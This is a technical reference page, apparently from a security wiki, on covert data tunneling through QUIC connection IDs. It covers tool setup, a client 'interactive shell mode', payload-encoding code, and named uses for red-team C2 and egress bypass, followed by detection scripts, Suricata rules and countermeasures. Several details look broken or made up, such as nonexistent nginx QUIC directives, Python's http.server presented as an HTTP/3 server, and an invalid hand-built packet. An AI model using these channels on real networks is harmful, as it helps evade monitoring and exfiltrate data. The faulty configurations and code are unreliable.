quic connection id tunneling
on this page
quic protocol covert channels exploit connection id manipulation, packet structure metadata, and stream multiplexing capabilities for high-stealth data transmission.
technical description
quic (quick udp internet connections) provides encrypted, multiplexed transport over udp. connection ids (up to 20 bytes) identify connections and can carry covert data while maintaining protocol compliance.
the technique works by:
- encoding data in connection id fields during handshake
- manipulating packet metadata and stream properties
- exploiting version negotiation and migration features
- using legitimate quic traffic for cover
implementation: quicc
overview
quicc (https://github.com/nuvious/quicc) demonstrates connection id field exploitation:
- supports 4096-bit rsa encryption
- connection id capacity: up to 20 bytes per packet
- performance: comparable latency to tcp (59.5ms vs 59.8ms)
- maintains quic protocol compliance
installation
# clone repository
git clone https://github.com/nuvious/quicc.git
cd quicc
# install dependencies
pip install -r requirements.txt
# build native components
make build
server setup
# generate server keys
openssl genrsa -out server.key 4096
openssl rsa -in server.key -pubout -out server.pub
# start quic covert server
python quicc_server.py --host 0.0.0.0 --port 4433 \
--cert server.crt --key server.key \
--covert-key covert.key
server configuration:
# quicc_server.py configuration
QUIC_CONFIG = {
'connection_id_length': 20, # maximum size
'initial_max_streams': 100,
'max_connection_id_per_connection': 8,
'covert_encoding': 'base64',
'encryption_key': load_key('covert.key')
}
client connection
# establish covert channel
python quicc_client.py --server quic.example.com:4433 \
--message "covert data payload" \
--key covert.key \
--encoding base64
# interactive shell mode
python quicc_client.py --server quic.example.com:4433 \
--interactive --key covert.key
data encoding
# connection id encoding
import struct
import base64
def encode_connection_id(data, max_length=20):
"""encode data into quic connection id"""
if len(data) > max_length:
raise ValueError("data exceeds connection id limit")
# pad to fixed length for consistency
padded_data = data.ljust(max_length, b'\x00')
return padded_data
def create_covert_packet(payload):
"""create quic packet with covert connection id"""
encoded_data = base64.b64encode(payload)[:20]
# quic long header format
header = bytearray([
0x80 | 0x40, # long header, initial packet
0x00, 0x00, 0x00, 0x01, # version
len(encoded_data), # dcid length
])
header.extend(encoded_data) # destination connection id
header.extend([0]) # scid length (empty)
return bytes(header)
# example usage
covert_payload = b"secret message"
packet = create_covert_packet(covert_payload)
implementation: quictun
overview
quictun (https://github.com/julienschmidt/quictun) provides alternative implementation:
- focuses on stream multiplexing exploitation
- supports multiple concurrent channels
- implements custom stream prioritization
setup
# build from source
git clone https://github.com/julienschmidt/quictun.git
cd quictun
go build -o quictun cmd/main.go
# server mode
./quictun server -addr :4433 -cert cert.pem -key key.pem
# client mode
./quictun client -addr server.example.com:4433 \
-local-addr :8080 -remote-addr target:80
configuration
# quictun.yaml
server:
bind_addr: ':4433'
cert_file: 'server.crt'
key_file: 'server.key'
covert_streams: 8
max_payload_size: 1350
client:
server_addr: 'server.example.com:4433'
local_proxy: ':8080'
stream_multiplex: true
connection_migration: true
implementation: quincy vpn
overview
quincy (https://github.com/m0dex/quincy) provides quic-based vpn:
- post-quantum cryptography support
- full tunnel mode
- traffic shaping capabilities
installation
# install rust toolchain
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
# build quincy
git clone https://github.com/m0dex/quincy.git
cd quincy
cargo build --release
# install binary
sudo cp target/release/quincy /usr/local/bin/
vpn setup
# server configuration
sudo quincy server --config server.toml
# client connection
sudo quincy client --config client.toml \
--server quic://vpn.example.com:4433
# server.toml
[server]
bind = "0.0.0.0:4433"
cert = "/etc/quincy/cert.pem"
key = "/etc/quincy/key.pem"
[tunnel]
mode = "tun"
mtu = 1350
subnet = "10.0.0.0/24"
[crypto]
post_quantum = true
kyber_level = 3
traffic characteristics
quic packet analysis
# packet dissection with scapy
from scapy.all import *
class QUICPacket(Packet):
name = "QUIC"
fields_desc = [
BitField("header_form", 1, 1),
BitField("fixed_bit", 1, 1),
BitField("packet_type", 0, 2),
BitField("reserved", 0, 2),
BitField("packet_number_length", 0, 2),
IntField("version", 0),
FieldLenField("dcid_len", None, length_of="dcid", fmt="B"),
StrLenField("dcid", "", length_from=lambda pkt: pkt.dcid_len),
FieldLenField("scid_len", None, length_of="scid", fmt="B"),
StrLenField("scid", "", length_from=lambda pkt: pkt.scid_len)
]
def analyze_quic_covert_channel(pcap_file):
packets = rdpcap(pcap_file)
connection_ids = []
for p in packets:
if p.haslayer(UDP) and p[UDP].dport in [443, 4433]:
payload = bytes(p[UDP].payload)
# check for quic long header
if len(payload) > 6 and (payload[0] & 0x80):
dcid_len = payload[5] if len(payload) > 5 else 0
if dcid_len > 0 and dcid_len <= 20:
dcid = payload[6:6+dcid_len]
connection_ids.append(dcid)
# analyze connection id entropy
import math
from collections import Counter
for cid in connection_ids:
if len(cid) > 0:
entropy = calculate_entropy(cid)
if entropy > 6.0: # high entropy suggests encoding
print(f"suspicious connection id: {cid.hex()}")
def calculate_entropy(data):
counts = Counter(data)
probs = [count/len(data) for count in counts.values()]
return -sum(p * math.log2(p) for p in probs if p > 0)
analyze_quic_covert_channel('quic_traffic.pcap')
connection migration patterns
# detect suspicious quic migration
def analyze_connection_migration(flows):
"""analyze quic connection migration for covert channels"""
migration_patterns = {}
for flow in flows:
conn_id = flow.get('connection_id')
if not conn_id:
continue
src_ip = flow['src_ip']
if conn_id not in migration_patterns:
migration_patterns[conn_id] = []
migration_patterns[conn_id].append({
'timestamp': flow['timestamp'],
'src_ip': src_ip,
'bytes': flow['bytes']
})
# detect suspicious migration frequency
for conn_id, migrations in migration_patterns.items():
if len(set(m['src_ip'] for m in migrations)) > 5: # many ips
print(f"suspicious migration pattern: {conn_id}")
detection methods
traffic indicators
- unusual connection id lengths (consistently 20 bytes)
- high entropy in connection id values
- frequent connection migration without network changes
- quic traffic to non-standard ports
- connection ids with embedded patterns
detection rules
# suricata rules for quic covert channels
alert udp any any -> any 443 (
msg:"QUIC suspicious connection ID pattern";
content:"|80|"; offset:0; depth:1;
byte_test:1,>,15,5; # dcid length > 15
threshold: type limit, track by_src, seconds 60, count 20;
sid:1000020;
)
alert udp any any -> any any (
msg:"QUIC connection migration anomaly";
flow:established;
threshold: type limit, track by_dst, seconds 300, count 10;
sid:1000021;
)
statistical analysis
# quic covert channel detection
import numpy as np
from scipy import stats
def detect_quic_covert_channel(connection_ids):
"""statistical detection of covert quic channels"""
if len(connection_ids) < 10:
return False
# analyze length distribution
lengths = [len(cid) for cid in connection_ids]
# legitimate quic connection ids vary in length
# covert channels often use fixed length
length_entropy = stats.entropy(np.bincount(lengths))
if length_entropy < 0.5: # low entropy = fixed length
print("warning: consistent connection id lengths detected")
# analyze byte entropy for each position
max_len = max(lengths)
position_entropies = []
for pos in range(max_len):
bytes_at_pos = []
for cid in connection_ids:
if len(cid) > pos:
bytes_at_pos.append(cid[pos])
if bytes_at_pos:
pos_entropy = stats.entropy(np.bincount(bytes_at_pos))
position_entropies.append(pos_entropy)
avg_entropy = np.mean(position_entropies)
if avg_entropy > 6.0: # high entropy suggests encoding
return True
return False
# example usage
cids = [b'random_connection_id_1', b'random_connection_id_2']
is_covert = detect_quic_covert_channel(cids)
countermeasures
network level
# restrict quic to standard ports
iptables -A FORWARD -p udp ! --dport 443 -m string --hex-string "|80|" -j DROP
# limit connection migration frequency
iptables -A FORWARD -p udp --dport 443 -m recent --name quic_migration \
--update --seconds 60 --hitcount 5 -j DROP
quic server configuration
# nginx quic module restrictions
quic_connection_id_length 8; # limit to 8 bytes
quic_migration_rate_limit 5/m; # 5 migrations per minute
quic_connection_timeout 30s;
monitoring
# monitor quic connection patterns
tshark -r traffic.pcap -Y "quic" \
-T fields -e quic.dcid -e frame.time_epoch \
| sort | uniq -c | sort -nr
# analyze connection id entropy
python3 -c "
import sys
from collections import Counter
import math
for line in sys.stdin:
cid = line.strip()
if cid:
entropy = -sum(p * math.log2(p) for p in
[c/len(cid) for c in Counter(cid).values()])
print(f'{cid}: entropy={entropy:.2f}')
"
advantages and limitations
advantages
- modern protocol with legitimate traffic cover
- strong encryption (tls 1.3)
- connection migration provides flexibility
- multiple streams per connection
- minimal latency overhead
- nat traversal capabilities
limitations
- requires quic server infrastructure
- connection ids limited to 20 bytes
- detection possible through entropy analysis
- newer protocol with limited deployment
- some networks block non-443 quic traffic
performance metrics
bandwidth and latency
metric | quicc | quictun | quincy | legitimate quic |
---|---|---|---|---|
latency | 59.5ms | 45-60ms | 40-55ms | 59.8ms |
throughput | 80-90% | 85-95% | 90-95% | 100% |
overhead | 10-20% | 5-15% | 5-10% | baseline |
stealth | medium | high | high | n/a |
connection establishment
# measure quic handshake time
curl -w "@curl-format.txt" --http3 https://quic.example.com/
# format file (curl-format.txt):
# time_namelookup: %{time_namelookup}s
# time_connect: %{time_connect}s
# time_appconnect: %{time_appconnect}s
# time_pretransfer: %{time_pretransfer}s
# typical quic handshake: 100-200ms (1-rtt)
browser support
chrome implementation
// detect quic support
if ('chrome' in window && chrome.loadTimes) {
const loadTimes = chrome.loadTimes();
if (loadTimes.connectionInfo.includes('quic')) {
console.log('quic connection active');
}
}
// force quic in chrome
// chrome --enable-quic --quic-version=h3-29
firefox configuration
// about:config settings
network.http.http3.enabled = true
network.http.http3.alt-svc-mapping-for-testing = "quic.example.com:443;h3=\":443\""
real-world applications
legitimate usage
- google services: youtube, gmail, search
- cloudflare: cdn and security services
- facebook: social media platform
- microsoft: office 365, teams
covert channel research
- academic studies: protocol steganography
- penetration testing: bypass egress filtering
- red team operations: c2 communication
testing environment
local setup
# create test certificates
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# start quic test server
python3 -m http.server --bind localhost 4433 --directory /tmp
# test with curl
curl --http3-only -k https://localhost:4433/
docker environment
# dockerfile for quic testing
FROM golang:1.19-alpine
RUN apk add --no-cache git openssl
WORKDIR /app
COPY . .
RUN go mod download
RUN go build -o quic-server ./cmd/server
RUN go build -o quic-client ./cmd/client
EXPOSE 4433/udp
CMD ["./quic-server", "-addr", ":4433"]
# build and run
docker build -t quic-covert .
docker run -p 4433:4433/udp quic-covert
references
- rfc 9000: quic - a udp-based multiplexed and secure transport
- rfc 9001: using tls to secure quic
- rfc 9002: quic loss detection and congestion control
- “quic protocol analysis” - ietf transport area working group
- “covert channels in quic” - academic research papers